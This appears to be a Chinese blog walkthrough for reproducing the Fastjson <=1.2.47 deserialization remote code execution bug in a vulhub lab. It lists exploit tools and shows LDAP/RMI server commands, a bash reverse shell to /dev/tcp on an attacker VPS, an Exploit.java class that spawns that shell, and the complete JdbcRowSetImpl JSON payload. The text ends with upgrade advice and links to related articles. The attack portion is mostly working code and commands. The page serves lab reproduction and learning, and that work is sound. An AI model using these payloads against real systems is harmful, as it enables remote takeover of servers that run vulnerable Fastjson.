0x01 漏洞概述

漏洞描述

Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Fastjson存在远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。
此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

影响版本

Fastjson <= 1.2.47
 

0x02 环境准备

直接使用vulhub中的docker环境进行部署
cd /vulhub/fastjson/1.2.-rce
docker-compose up -d
 
部署好后访问http://ip:8090,访问显示如下即搭建成功

0x03 测试及利用方法

测试方法

方法一:使用工具FastjsonScanner(内置多个payload)

工具下载地址:前往土司下载
如下图所示,填写待测试目标url、dnslog地址、请求包,点击scan
结束后,对比scan result和dnslog记录。Dnslog中有test6记录,说明存在漏洞,序号为6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下载地址:https://github.com/wyzxxz/fastjson_rce_tool

公网启动LDAP或者RMI服务

 
Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip "curl xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip "curl xx.dnslog.cn"
 
关于command列的使用参考下图:
LDAP如下:
VPS中开启LDAP服务,并预执行命令curl xxx.dnslog.cn
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip  "curl xx.dnslog.cn"
 
将payload复制到body中并发送
VPS中显示有连接信息并发送完命令
Dnslog查看到记录,说明命令执行成功

利用方法

方法一:使用fastjson_rce_tool.jar

开启LDAP服务监听,并设置预执行命令(反弹shell)
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip  "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
 
Burp发送exp
成功反弹shell
 
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java代码如下(反弹shell)
public class Exploit{
public Exploit() {} static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
} public static void main(String[] args) {
Exploit e = new Exploit();
}
}
javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
Python开启web服务器,将exploit.class放在根目录
marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器
java -cp marshalsec-0.0.-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
 
Burp发送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
 
成功反弹shell
 
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

0x04 修复建议

使用最新版fastjson,https://github.com/alibaba/fastjson
 

【漏洞复现】Fastjson <=1.2.47远程命令执行的更多相关文章

  1. Fastjson 1.2.47 远程命令执行漏洞复现

    前言 这个漏洞出来有一段时间了,有人一直复现不成功来问我,就自己复现了下,顺便简单记录下这个漏洞原理,以便后面回忆. 复现过程 网上已经有很多文章了,这里就不在写了.主要记录一下复现过程中遇到的问题 ...

  2. Fastjson <= 1.2.47 远程命令执行漏洞

    一.漏洞利用过程 查看java版本:java -version jdk版本大1.8 openjdk versin "1.8.0_222" 下载漏洞利用文件:git clone ht ...

  3. 一步一步学习FastJson1.2.47远程命令执行漏洞

    本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...

  4. PHPMailer 远程命令执行漏洞 Writeup

    漏洞概述 1.漏洞简介 PHPMailer 小于5.2.18的版本存在远程代码执行漏洞.成功利用该漏洞后,攻击者可以远程任意代码执行.许多知名的 CMS 例如 Wordpress 等都是使用这个组件来 ...

  5. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  6. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  7. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  8. Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现 一.漏洞概述 Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 RES ...

  9. Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现

    Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现 一.漏洞描述 Struts2在使用Freemarker模块引擎的时候,同时允许 ...

随机推荐

  1. java第十二周课后作业0523

    1.编写一个程序,实现字符串大小写的转换并倒序输出.要求如下(1)使用for循环将字符串“ Hello world”从最后一个字符开始遍历(2)遍历的当前字符如果是大写字符,就使用 toLower C ...

  2. 转载 配置vue项目

    Vue作为前端三大框架之一截至到目前在github上以收获44,873颗星,足以说明其以悄然成为主流.16年10月Vue发布了2.x版本,经过了一段时间的摸索和看官方的教程和api,才了解到2.0版本 ...

  3. 【Java8新特性】Stream API有哪些中间操作?看完你也可以吊打面试官!!

    写在前面 在上一篇<[Java8新特性]面试官问我:Java8中创建Stream流有哪几种方式?>中,一名读者去面试被面试官暴虐!归根结底,那哥儿们还是对Java8的新特性不是很了解呀!那 ...

  4. [SD心灵鸡汤]000.每月一则 - 索引

    [SD心灵鸡汤]001.每月一则 - 2015.05 [SD心灵鸡汤]002.每月一则 - 2015.06 [SD心灵鸡汤]003.每月一则 - 2015.07 [SD心灵鸡汤]004.每月一则 - ...

  5. python异常1

    异常的层次结构: BaseException [所有异常的基类] +-- SystemExit [解释器请求退出] +-- KeyboardInterrupt [用户中断执行(通常是输入^C)] +- ...

  6. Chisel3 - 参考资料汇总

    https://mp.weixin.qq.com/s/mIexKCFA1MQNOl4M_iVkjg ​​   1. 官方网站   https://chisel.eecs.berkeley.edu/   ...

  7. Java实现第九届蓝桥杯字母阵列

    字母阵列 题目描述 仔细寻找,会发现:在下面的8x8的方阵中,隐藏着字母序列:"LANQIAO". SLANQIAO ZOEXCCGB MOAYWKHI BCCIPLJQ SLAN ...

  8. java实现第四届蓝桥杯有理数类

    有理数类 题目描述 有理数就是可以表示为两个整数的比值的数字.一般情况下,我们用近似的小数表示.但有些时候,不允许出现误差,必须用两个整数来表示一个有理数. 这时,我们可以建立一个"有理数类 ...

  9. python3 修改计算机名称GUI程序

    from tkinter import *from tkinter import messageboximport tkinterimport winregimport osdef serch(): ...

  10. CentOS8.1操作系下使用通用二进制包安装MySQL8.0(实践整理自MySQL官方)

    写在前的的话: 在IT技术日新月异的今天,老司机也可能在看似熟悉的道路上翻车,甚至是大型翻车现场!自己一个人开车过去翻个车不可怕,可怕的是带着整个团队甚至是整个公司一起翻车山崖下,解决办法就是:新出现 ...